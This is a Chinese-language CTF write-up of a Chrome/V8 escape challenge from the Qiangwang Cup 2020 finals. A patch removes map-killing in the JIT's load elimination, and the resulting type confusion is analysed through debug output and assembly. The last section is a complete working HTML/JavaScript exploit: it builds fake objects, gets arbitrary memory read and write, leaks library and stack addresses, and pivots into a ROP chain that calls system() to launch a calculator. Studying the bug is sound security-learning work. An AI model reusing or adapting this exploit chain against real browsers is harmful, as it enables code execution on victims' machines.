0%

强网杯2020决赛RealWord的Chrome逃逸——GOOexec(GOO)

文章首发于安全KER https://www.anquanke.com/post/id/224195

0x00 前言

刚开始接触v8方面的漏洞利用,就从这题分享一下我学习的过程。

0x01 前置知识

JIT

简单来说,JS引擎在解析javascript代码时,如果发现js里有段代码一直在做重复的类似操作,比如一个循环语句,且重复次数超过某个阈值,那么就会将这段JS代码翻译为本机的汇编代码,以提高代码的执行速度,这就叫JIT优化,如下的js代码可以触发v8的JIT优化

1
2
3
for (var i=0;i<0x20000;i++) {

}

使用./d8 1.js -print-opt-code,可以查看JIT代码

MAP

map是一个对象,在v8里,每一个js对象内部都有一个map对象指针,v8通过map的值来判断这个js对象到底是哪种类型。

类型混淆(Type Confusion)

如果map的类型发生错误,将会发生类型混淆,比如原本一个存double数值的数组对象,map变成了对象数组的类型,那么再次访问其元素时,取出的不再是一个double值,而是该double值作为地址指向的对象。因此可以用来伪造对象,只需伪造一个ArrayBuffer对象,即可实现任意地址读写。类型混淆往往跟JIT编译后的代码有关,某些情况下JIT即时编译的代码里的判断条件可能考虑的不充分便会发生类型混淆。

V8的数组

V8的数组是一个对象,其条目仍然是一个对象,数据存在条目对象的里,如果是DOUBLE_ELEMENTS类型,则element对象的数据区直接保存这个double值(64位),如果是其他类型,则将数据包装为一个对象,element对象的数据区将保存这个对象的地址。
element的类型当中,以PACKED开头的代表这是一个密集型数组(快数组);以HOLEY开头的数组为稀疏数组(慢数组)

数组常见的几种element类型变化情况如下,类型变化只能沿着箭头方向进行,一旦从一种类型变为另一种类型,就不能再逆回去了。

Array(0)和new Array(0)和[]的区别

使用如下代码测试

1
2
3
4
5
6
var a = Array(0);
%DebugPrint(a);
var b = new Array(0);
%DebugPrint(b);
var c = [];
%DebugPrint(c);

测试结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
Array(0): 0x15ed08148565: [JSArray]
- map: 0x15ed083038d5 <Map(HOLEY_SMI_ELEMENTS)> [FastProperties]
- prototype: 0x15ed082cb529 <JSArray[0]>
- elements: 0x15ed080426dd <FixedArray[0]> [HOLEY_SMI_ELEMENTS]
- length: 0
- properties: 0x15ed080426dd <FixedArray[0]> {
0x15ed08044649: [String] in ReadOnlySpace: #length: 0x15ed08242159 <AccessorInfo> (const accessor descriptor)
}

new Array(0): 0x15ed08148575: [JSArray]
- map: 0x15ed083038d5 <Map(HOLEY_SMI_ELEMENTS)> [FastProperties]
- prototype: 0x15ed082cb529 <JSArray[0]>
- elements: 0x15ed080426dd <FixedArray[0]> [HOLEY_SMI_ELEMENTS]
- length: 0
- properties: 0x15ed080426dd <FixedArray[0]> {
0x15ed08044649: [String] in ReadOnlySpace: #length: 0x15ed08242159 <AccessorInfo> (const accessor descriptor)
}

[]: 0x15ed08148585: [JSArray]
- map: 0x15ed0830385d <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
- prototype: 0x15ed082cb529 <JSArray[0]>
- elements: 0x15ed080426dd <FixedArray[0]> [PACKED_SMI_ELEMENTS]
- length: 0
- properties: 0x15ed080426dd <FixedArray[0]> {
0x15ed08044649: [String] in ReadOnlySpace: #length: 0x15ed08242159 <AccessorInfo> (const accessor descriptor)
}

我们看到,Array(0)和new Array(0)产生的对象在不考虑JIT的情况下是一样的,而[]类型为PACKED_SMI_ELEMENTS,如果考虑了JIT,那么情况会变得复杂,稍后的题中将遇到这种情况。

0x02 漏洞分析

切入点

题目给了我们一个diff文件,以及经过patch后编译的chrome浏览器和v8引擎。其中diff文件如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
diff --git a/src/compiler/load-elimination.cc b/src/compiler/load-elimination.cc
index ff79da8c86..8effdd6e15 100644
--- a/src/compiler/load-elimination.cc
+++ b/src/compiler/load-elimination.cc
@@ -866,8 +866,8 @@ Reduction LoadElimination::ReduceTransitionElementsKind(Node* node) {
if (object_maps.contains(ZoneHandleSet<Map>(source_map))) {
object_maps.remove(source_map, zone());
object_maps.insert(target_map, zone());
- AliasStateInfo alias_info(state, object, source_map);
- state = state->KillMaps(alias_info, zone());
+ // AliasStateInfo alias_info(state, object, source_map);
+ // state = state->KillMaps(alias_info, zone());
state = state->SetMaps(object, object_maps, zone());
}
} else {
@@ -892,7 +892,7 @@ Reduction LoadElimination::ReduceTransitionAndStoreElement(Node* node) {
if (state->LookupMaps(object, &object_maps)) {
object_maps.insert(double_map, zone());
object_maps.insert(fast_map, zone());
- state = state->KillMaps(object, zone());
+ // state = state->KillMaps(object, zone());
state = state->SetMaps(object, object_maps, zone());
}
// Kill the elements as well.

首先,patch点出现在ReduceTransitionElementsKindReduceTransitionAndStoreElement函数中,从源文件路径知道这个类跟JIT编译器有关,在某些情况下会影响到编译出的代码。经过个人的研究,发现 ReduceTransitionElementsKind的作用是为了加快elements的类型转换,如果在一段会被JIT优化的js代码段中对数组的element进行类型转换操作,就会调用这个函数来构建相关的汇编代码。

小实验

首先b ReduceTransitionElementsKindbReduceTransitionAndStoreElement设置断点,运行如下的测试代码

1
2
3
4
5
var a;
for (var i=0;i<0x2000;i++) {
a = Array(0);
a[0] = 1.1;
}

发现确实能够断下来,我们再试试这两段代码,发现都不能下断

1
2
3
4
5
var a;
for (var i=0;i<0x2000;i++) {
a = new Array(0);
a[0] = 1.1;
}
1
2
3
4
5
var a;
for (var i=0;i<0x20000;i++) {
a = [];
a[0] = 1.1;
}

为了解释其中的原因,我们查看一下JIT的汇编代码(截取部分)
第一段js代码的JIT汇编中,Array(0)的创建过程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
0x33ea00084f47    87  49b8e80d0beb79550000 REX.W movq r8,0x5579eb0b0de8    ;; external reference (Heap::NewSpaceAllocationTopAddress())
0x33ea00084f51 91 4d8b08 REX.W movq r9,[r8]
0x33ea00084f54 94 4d8d5910 REX.W leaq r11,[r9+0x10]
0x33ea00084f58 98 49bcf00d0beb79550000 REX.W movq r12,0x5579eb0b0df0 ;; external reference (Heap::NewSpaceAllocationLimitAddress())
0x33ea00084f62 a2 4d391c24 REX.W cmpq [r12],r11
0x33ea00084f66 a6 0f8606020000 jna 0x33ea00085172 <+0x2b2>
0x33ea00084f6c ac 4d8d5910 REX.W leaq r11,[r9+0x10]
0x33ea00084f70 b0 4d8918 REX.W movq [r8],r11
0x33ea00084f73 b3 4983c101 REX.W addq r9,0x1
0x33ea00084f77 b7 41bb5d383008 movl r11,0x830385d ;; (compressed) object: 0x33ea0830385d <Map(PACKED_SMI_ELEMENTS)>
0x33ea00084f7d bd 458959ff movl [r9-0x1],r11
0x33ea00084f81 c1 4d8bb550010000 REX.W movq r14,[r13+0x150] (root (empty_fixed_array))
0x33ea00084f88 c8 45897103 movl [r9+0x3],r14
0x33ea00084f8c cc 45897107 movl [r9+0x7],r14
0x33ea00084f90 d0 41c7410b00000000 movl [r9+0xb],0x0
0x33ea00084f98 d8 49bf89252d08ea330000 REX.W movq r15,0x33ea082d2589 ;; object: 0x33ea082d2589 <PropertyCell name=0x33ea080c91a9 <String[1]: #a> value=0x33ea08383dd5 <JSArray[1]>>
0x33ea00084fa2 e2 45894f0b movl [r15+0xb],r9

可以看到,在这里,Array(0)初始为了PACKED_SMI_ELEMENTS类型的数组,因此对其条目赋予double值时,会发生类型转换。
接下来,我们看第二段js代码的JIT代码中创建new Array(0)的部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
0x57300084f47    87  49b8e83d22e5f8550000 REX.W movq r8,0x55f8e5223de8    ;; external reference (Heap::NewSpaceAllocationTopAddress())
0x57300084f51 91 4d8b08 REX.W movq r9,[r8]
0x57300084f54 94 4d8d5910 REX.W leaq r11,[r9+0x10]
0x57300084f58 98 49bcf03d22e5f8550000 REX.W movq r12,0x55f8e5223df0 ;; external reference (Heap::NewSpaceAllocationLimitAddress())
0x57300084f62 a2 4d391c24 REX.W cmpq [r12],r11
0x57300084f66 a6 0f86b5010000 jna 0x57300085121 <+0x261>
0x57300084f6c ac 4d8d5910 REX.W leaq r11,[r9+0x10]
0x57300084f70 b0 4d8918 REX.W movq [r8],r11
0x57300084f73 b3 4983c101 REX.W addq r9,0x1
0x57300084f77 b7 41bb25393008 movl r11,0x8303925 ;; (compressed) object: 0x057308303925 <Map(HOLEY_DOUBLE_ELEMENTS)>
0x57300084f7d bd 458959ff movl [r9-0x1],r11
0x57300084f81 c1 4d8bb550010000 REX.W movq r14,[r13+0x150] (root (empty_fixed_array))
0x57300084f88 c8 45897103 movl [r9+0x3],r14
0x57300084f8c cc 45897107 movl [r9+0x7],r14
0x57300084f90 d0 41c7410b00000000 movl [r9+0xb],0x0
0x57300084f98 d8 49bf8d252d0873050000 REX.W movq r15,0x573082d258d ;; object: 0x0573082d258d <PropertyCell name=0x0573080c91a9 <String[1]: #a> value=0x057308373935 <JSArray[1]>>

可以看到,new Array(0)一开始就是HOLEY_DOUBLE_ELEMENTS类型,可以满足a[0] = 1.1的操作,不需要再做类型转换。
接下来,我们看第三段js代码的JIT代码中创建[]的部分,发现[]一开始就是PACKED_DOUBLE_ELEMENTS类型,可以满足a[0] = 1.1的操作,不需要再做类型转换。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
0x30bd00084f47    87  49b8e80d40d4c6550000 REX.W movq r8,0x55c6d4400de8    ;; external reference (Heap::NewSpaceAllocationTopAddress())
0x30bd00084f51 91 4d8b08 REX.W movq r9,[r8]
0x30bd00084f54 94 4d8d5910 REX.W leaq r11,[r9+0x10]
0x30bd00084f58 98 49bcf00d40d4c6550000 REX.W movq r12,0x55c6d4400df0 ;; external reference (Heap::NewSpaceAllocationLimitAddress())
0x30bd00084f62 a2 4d391c24 REX.W cmpq [r12],r11
0x30bd00084f66 a6 0f8695010000 jna 0x30bd00085101 <+0x241>
0x30bd00084f6c ac 4d8d5910 REX.W leaq r11,[r9+0x10]
0x30bd00084f70 b0 4d8918 REX.W movq [r8],r11
0x30bd00084f73 b3 4983c101 REX.W addq r9,0x1
0x30bd00084f77 b7 41bbfd383008 movl r11,0x83038fd ;; (compressed) object: 0x30bd083038fd <Map(PACKED_DOUBLE_ELEMENTS)>
0x30bd00084f7d bd 458959ff movl [r9-0x1],r11
0x30bd00084f81 c1 4d8bb550010000 REX.W movq r14,[r13+0x150] (root (empty_fixed_array))
0x30bd00084f88 c8 45897103 movl [r9+0x3],r14
0x30bd00084f8c cc 45897107 movl [r9+0x7],r14
0x30bd00084f90 d0 41c7410b00000000 movl [r9+0xb],0x0
0x30bd00084f98 d8 49bf81252d08bd300000 REX.W movq r15,0x30bd082d2581 ;; object: 0x30bd082d2581 <PropertyCell name=0x30bd080c91a9 <String[1]: #a> value=0x30bd083c4e5d <JSArray[1]>>

实验总结

从上面的实验来看,数组的elements类型在JIT下和普通js下是不一样的,JIT会对其进行优化。其中如果是new Array(0)[]创建的数组,那么其数组的elements初始时的类型就已经是目标数据的类型了。因此就不需要再调用ReduceTransitionElementsKindReduceTransitionAndStoreElement进行类型转换。因此在利用中,我们应该使用Array(0)的方式来创建数组。

漏洞分析

patch了AliasStateInfo alias_info(state, object, source_map);state = state->KillMaps(object, zone());,我们先来看看KillMaps的源码

1
2
3
4
5
6
7
8
9
10
11
12
LoadElimination::AbstractState const* LoadElimination::AbstractState::KillMaps(
const AliasStateInfo& alias_info, Zone* zone) const {
if (this->maps_) {
AbstractMaps const* that_maps = this->maps_->Kill(alias_info, zone);
if (this->maps_ != that_maps) {
AbstractState* that = new (zone) AbstractState(*this);
that->maps_ = that_maps;
return that;
}
}
return this;
}

继续看Kill的源码,如果有两个node指向同一个对象,则创建了新map。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
LoadElimination::AbstractElements const*
LoadElimination::AbstractElements::Kill(Node* object, Node* index,
Zone* zone) const {
for (Element const element : this->elements_) {
if (element.object == nullptr) continue;
if (MayAlias(object, element.object)) { //如果有两个node指向同一个对象
AbstractElements* that = new (zone) AbstractElements(zone);
for (Element const element : this->elements_) {
if (element.object == nullptr) continue;
DCHECK_NOT_NULL(element.index);
DCHECK_NOT_NULL(element.value);
if (!MayAlias(object, element.object) ||
!NodeProperties::GetType(index).Maybe(
NodeProperties::GetType(element.index))) {
that->elements_[that->next_index_++] = element;
}
}
that->next_index_ %= arraysize(elements_);
return that;
}
}
return this;
}

从上面的源码来看,如果有两个node指向的是同一个对象,那么state = state->KillMaps(object, zone());就会更新两个node的checkmap,这样后续生成JIT代码时,用不同的node去操作源对象也不会发生问题。为了进一步验证猜想,我们用gdb调试一下。
gdb设置参数,其中–no-enable-slow-asserts是为了能够使用p state->Print()来查看checkmaps的信息,否则会报错。

1
set args --allow-natives-syntax ./3.js --no-enable-slow-asserts

测试代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function opt(a,b) { 
a[0] = 1.1;
b[0] = 1.1;
a[0] = {};
b[0] = 1.1;
}

var a;

for (var i=0;i<0x2000;i++) {
a = Array(0);
opt(a,a);
}
a = Array(0);
opt(a,a);
print(a[0]);

执行SetMaps之前,因为有a[0] = 1.1;b[0] = 1.1;,所以它们之前已经是HOLEY_DOUBLE_ELEMENTS类型

执行之后,由于没有KillMaps,因此b仍然保留为HOLEY_DOUBLE_ELEMENTS类型

如果接下来执行 b[0] = 1.1;,按理来说是以HOLEY_DOUBLE_ELEMENTS的方式向elements里写了一个double值,由于它指向的对象已经变成了HOLEY_ELEMENTS类型,那么再次从中取元素时,double值被当成对象指针对待,因此通过控制double值,能够使得取出的值作为指针能正好指向我们可控的内存区,那么我们就可以伪造对象了。
然而实际情况是,执行 b[0] = 1.1;时,仍然是以HOLEY_ELEMENTS的方式写入,即将1.1包装为一个HeapNumber,然后保存指针到elements。在JIT编译的时候,末尾的两句a[0] = {};b[0] = 1.1;不能同时出现,否则JIT编译器收集到的信息比较充分会使得漏洞利用失败,因此应该想办法让这两句的编译时期分开,由此可以加一个条件判断,这样,两句在编译时期不会同时出现。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
function opt(a,b,f1,f2) {
a[0] = 1.1;
b[0] = 1.1;
if (f1)
a[0] = {};
if (f2)
b[0] = 1.1;
}

var a;

for (var i=0;i<0x2000;i++) {
a = Array(0);
opt(a,a,true,false);
a = Array(0);
opt(a,a,false,true);
}

a = Array(0);
opt(a,a,true,true);
print(a[0]);

通过%DebugPrint(a)查看对象a

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
DebugPrint: 0x2aa8083dc8e1: [JSArray]
- map: 0x2aa808303975 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x2aa8082cb529 <JSArray[0]>
- elements: 0x2aa8083dc99d <FixedArray[17]> [HOLEY_ELEMENTS]
- length: 1
- properties: 0x2aa8080426dd <FixedArray[0]> {
0x2aa808044649: [String] in ReadOnlySpace: #length: 0x2aa808242159 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x2aa8083dc99d <FixedArray[17]> {
0: -858993459
pwndbg> dd 0x2aa8083dc99c
00002aa8083dc99c 080424a5 00000022 9999999a 3ff19999
00002aa8083dc9ac 080423a1 080423a1 080423a1 080423a1
00002aa8083dc9bc 080423a1 080423a1 080423a1 080423a1
00002aa8083dc9cc 080423a1 080423a1 080423a1 080423a1

可以看到,1.1这个double值被误认为是对象指针,由此可以伪造对象。

JIT代码分析

首先poc的前面一大部分操作都是为了生成有问题的JIT代码,LoadElimination::ReduceTransitionElementsKind是在编译器编译时调用的,而不是JIT代码运行时调用的。JIT编译完成后就不需要再调用这个进行转换了,因为转换的操作已经固化成汇编的形式了。如下是截取的有问题的JIT代码(关键部分)

1
2
3
4
5
6
7
8
9
10
0x353900085199   2d9  45398528010000 cmpl [r13+0x128] (root (heap_number_map)),r8
0x3539000851a0 2e0 0f84b1010000 jz 0x353900085357 <+0x497>
0x3539000851a6 2e6 453985a8010000 cmpl [r13+0x1a8] (root (bigint_map)),r8
0x3539000851ad 2ed 0f8492010000 jz 0x353900085345 <+0x485>
0x3539000851b3 2f3 8b4f07 movl rcx,[rdi+0x7]
0x3539000851b6 2f6 4903cd REX.W addq rcx,r13
0x3539000851b9 2f9 c5fb114107 vmovsd [rcx+0x7],xmm0
0x3539000851be 2fe 488be5 REX.W movq rsp,rbp
0x3539000851c1 301 5d pop rbp
0x3539000851c2 302 c22800 ret 0x28

我们再看一下在正常的v8引擎中相同部分编译的JIT代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
0x320a00084f30    70  48b9253930080a320000 REX.W movq rcx,0x320a08303925    ;; object: 0x320a08303925 <Map(HOLEY_DOUBLE_ELEMENTS)>
................................................................
0x320a0008519d 2dd 4539a528010000 cmpl [r13+0x128] (root (heap_number_map)),r12
0x320a000851a4 2e4 0f84da010000 jz 0x320a00085384 <+0x4c4>
0x320a000851aa 2ea 4539a5a8010000 cmpl [r13+0x1a8] (root (bigint_map)),r12
0x320a000851b1 2f1 0f84ba010000 jz 0x320a00085371 <+0x4b1>
0x320a000851b7 2f7 394fff cmpl [rdi-0x1],rcx
0x320a000851ba 2fa 0f858c020000 jnz 0x320a0008544c <+0x58c>
0x320a000851c0 300 8b4f07 movl rcx,[rdi+0x7]
0x320a000851c3 303 4903cd REX.W addq rcx,r13
0x320a000851c6 306 c5fb114107 vmovsd [rcx+0x7],xmm0
0x320a000851cb 30b 488b4de8 REX.W movq rcx,[rbp-0x18]
0x320a000851cf 30f 488be5 REX.W movq rsp,rbp
0x320a000851d2 312 5d pop rbp
0x320a000851d3 313 4883f904 REX.W cmpq rcx,0x4
0x320a000851d7 317 7f03 jg 0x320a000851dc <+0x31c>
0x320a000851d9 319 c22800 ret 0x28

可以知道,漏洞的v8的JIT编译的代码正是因为少了这一句map类型的比较,从而导致了类型混淆。

1
0x320a000851b7   2f7  394fff         cmpl [rdi-0x1],rcx

漏洞利用

现在的v8存在指针压缩机制(pointer compression),在这种机制下,指针都用4字节来表示,即将指针的基址单独仅存储一次,然后每个指针只需存后4字节即可,因为前2字节一样,这样可以节省空间。这种机制下,堆地址是可以预测的,我们可以申请一个较大的堆空间,这样它的地址在同一台机子上就很稳定基本不变(会随系统的内存以及其他一些配置变化),在不同机子上有微小变化,可以枚举爆破。
只需要伪造一个ArrayBuffer,即可实现任意地址读写,由于本题的v8是linux下的,因此比较好利用,直接泄露栈地址然后劫持栈做ROP即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
<!DOCTYPE html>
<html>
<body>
<script>
function opt(a,b,f1,f2)
{
a[0] = 1.1;
b[0] = 1.1;
if (f1)
a[0] = {};
if (f2)
b[0] = 1.9035980891199164e+185; //这个浮点数在内存里的表示指向了faker[1],因此,我们可以在faker[1]处开始伪造对象
}


//申请一个大的Array,由于V8的compression ptr,其地址低四字节稳定
const faker = new Array(0x10000);
faker.fill(4.765139213524301e-270);

var buf = new ArrayBuffer(0x10000);
var dv = new DataView(buf);
dv.setUint32(0,0xABCDEF78,true);

//将一个32位整数打包位64位浮点数
function p64(val) {
dv.setUint32(0x8,val & 0xFFFFFFFF,true);
dv.setUint32(0xC,val >> 32,true);
var float_val = dv.getFloat64(0x8,true);
return float_val;
}

//将两个32位整数打包为一个64位浮点数
function p64(low4,high4) {
dv.setUint32(0x8,low4,true);
dv.setUint32(0xC,high4,true);
var float_val = dv.getFloat64(0x8,true);
return float_val;
}

//解包64位浮点数的低四字节
function u64_l(val) {
dv.setFloat64(0x8,val,true);
return dv.getUint32(0x8,true);
}

//解包64位浮点数的高四字节
function u64_h(val) {
dv.setFloat64(0x8,val,true);
return dv.getUint32(0xC,true);
}

//伪造一个FixedJSArray对象用于构造addressOf和fakeObject原语
faker[1] = p64(0x082031cd,0x080426dd);
faker[2] = p64(0x08342135,0x2);
//伪造FixedJSArray的element
faker[3] = p64(0x080424a5,0x2);

//强制触发JIT编译,生成有漏洞的代码
let a;
for (let i = 0; i < 0x200000; i++)
{
a = Array(0);
opt(a,a,true,false);
a = Array(0);
opt(a,a,false,true);
}
//调用有漏洞的JIT代码,使得对象a发生类型混淆
a = Array(0);
opt(a,a,true,true);

function addressOf(obj) {
var o = a[0];
o[0] = obj;
return u64_l(faker[4]) - 1;
}

function fakeObject(addr_to_fake) {
var o = a[0];
faker[4] = p64(addr_to_fake + 1);
return o[0];
}

function isInt(obj) {
return obj % 1 === 0;
}

var buf_addr = addressOf(buf);
//alert("buf_addr="+buf_addr.toString(16));
var backing_store_ptr = buf_addr + 0x14 + 0x8;
//伪造一个ArrayBuffer用于任意地址读写
faker[5] = p64(0,0x08202dbd);
faker[6] = p64(0x080426dd,0x080426dd);
faker[7] = p64(0xffffffff,0);
faker[8] = p64(0,0);
faker[9] = p64(0,2);

//伪造一个FixedDoubleArray用于泄露地址,因为最开始,我们不知道compression ptr的高4字节是什么,因此用FixedDoubleArray可以进行相对寻址,从而泄露数据
faker[10] = p64(0,0x0820317d);
faker[11] = p64(0x080426dd,0x08342181)
faker[12] = p64(0x7ffffffe,0x08042a31);
faker[13] = p64(0x7ffffffe,0)

//注意内存对齐
if (parseInt(backing_store_ptr & 0xf) == 0x4 || parseInt(backing_store_ptr & 0xf) == 0xc) {
faker[15] = p64(0x08042a31,0x7ffffffe);
faker[11] = p64(0x080426dd,0x08342195)
}

//获得伪造的对象
var arb_bufferArray = fakeObject(0x08342148);
var fake_doubleArr = fakeObject(0x08342170);

var offset;
if (parseInt(backing_store_ptr & 0xf) == 0x4 || parseInt(backing_store_ptr & 0xf) == 0xc) {
offset = (0xFFFFFFFF - 0x0834219b + backing_store_ptr) / 8;
} else {
offset = (0xFFFFFFFF - 0x08342187 + backing_store_ptr) / 8;
}
//泄露buf对象里的数据
var v = fake_doubleArr[offset];
//alert("offset="+offset.toString(16));
//alert("heap_addr=" + u64_h(v).toString(16) + u64_l(v).toString(16));

//伪造ArrayBuffer的backing_store,从而实现任意地址读写
faker[8] = p64(u64_l(v) + 0x10,u64_h(v));
var fdv = new DataView(arb_bufferArray);
var heap_t_l = fdv.getUint32(0,true);
var heap_t_h =fdv.getUint32(4,true);

//泄露libv8.so的地址
faker[8] = p64(heap_t_l,heap_t_h);
var elf_addr_l = fdv.getUint32(0,true);
var elf_addr_h = fdv.getUint32(4,true);
var elf_base_l = elf_addr_l - 0xeb4028;
var elf_base_h = elf_addr_h;

//alert("elf_base=" + elf_base_h.toString(16) + elf_base_l.toString(16));
var strlen_got_l = elf_base_l + 0xEF4DB8;
var free_got_l = elf_base_l + 0xEF7A18;
//0x0000000000b9ac48 : mov rdi, qword ptr [r13 + 0x20] ; mov rax, qword ptr [rdi] ; call qword ptr [rax + 0x30]
var mov_rdi = elf_base_l + 0xb9ac48;
//0x000000000076039f : mov rdx, qword ptr [rax] ; mov rax, qword ptr [rdi] ; mov rsi, r13 ; call qword ptr [rax + 0x10]
var mov_rdx = elf_base_l + 0x76039f;
var pop_rdi = elf_base_l + 0x6010bb;
//泄露libc地址
faker[8] = p64(strlen_got_l,elf_base_h);
var strlen_addr_l = fdv.getUint32(0,true);
var strlen_addr_h = fdv.getUint32(4,true);

var libc_base_l = strlen_addr_l - 0x18b660;
var libc_base_h = strlen_addr_h;
var mov_rsp_rdx_l = libc_base_l + 0x5e650;
var environ_ptr_addr_l = libc_base_l + 0x1EF2E0;
var system_l = libc_base_l + 0x55410;
//alert("libc_base=" + libc_base_h.toString(16) + libc_base_l.toString(16));
//alert("system_l=" + libc_base_h.toString(16) + system_l.toString(16));
//泄露栈地址
faker[8] = p64(environ_ptr_addr_l,libc_base_h);
var stack_addr_l = fdv.getUint32(0,true);
var stack_addr_h = fdv.getUint32(4,true);
//alert("stack_addr="+stack_addr_h.toString(16) + stack_addr_l.toString(16));

faker[8] = p64(u64_l(v) + 0x80,u64_h(v));
heap_t_l = fdv.getUint32(0,true);
heap_t_h =fdv.getUint32(4,true);

if (parseInt(heap_t_h) == 0) {
location.reload();
} else {
//泄露compression ptr的高4字节数据
faker[8] = p64(heap_t_l,heap_t_h);
var compression_ptr_high = fdv.getUint32(4,true);
//alert("compression_ptr_high="+compression_ptr_high.toString(16));
//泄露buf的数据区地址
v = fake_doubleArr[offset - 1];
var buf_data_addr_l = u64_l(v);
var buf_data_addr_h = u64_h(v);
//在数据区布下ROP等
dv.setFloat64(0,p64(buf_data_addr_l+0x10,buf_data_addr_h),true);
dv.setFloat64(0x40,p64(mov_rdx,elf_base_h),true);
dv.setFloat64(0x20,p64(mov_rsp_rdx_l,libc_base_h),true);
//rsp
dv.setFloat64(0x10,p64(buf_data_addr_l+0x2000,buf_data_addr_h),true);

//rop
dv.setFloat64(0x2000,p64(pop_rdi,elf_base_h),true);
dv.setFloat64(0x2008,p64(buf_data_addr_l+0x2018,buf_data_addr_h),true);
dv.setFloat64(0x2010,p64(system_l,libc_base_h),true)
var cmd = "gnome-calculator\x00";
var bufView = new Uint8Array(buf);
for (var i = 0, strlen = cmd.length; i < strlen; i++) {
bufView[0x2018+i] = cmd.charCodeAt(i);
}

//修改0x20处为buf_data_addr
faker[8] = p64(0x20,compression_ptr_high);
fdv.setFloat64(0,p64(buf_data_addr_l,buf_data_addr_h),true);

//劫持栈返回地址为mov_rdi,将栈最终迁移到buf_data_addr里做ROP
var rop_addr_l = stack_addr_l - 0x1b18;
faker[8] = p64(rop_addr_l,stack_addr_h);
fdv.setFloat64(0,p64(mov_rdi,elf_base_h),true);
}
</script>
</body>
</html>

0x03 感想

通过这一题,学习了v8方面的很多知识,对JIT也有了一定的了解

0x04 参考

强网杯2020线下GooExec
你可能不知道的v8数组优化
深入理解Js数组
(v8 source)elements-kind.h
Google Chrome V8 JIT - ‘LoadElimination::ReduceTransitionElementsKind’ Type Confusion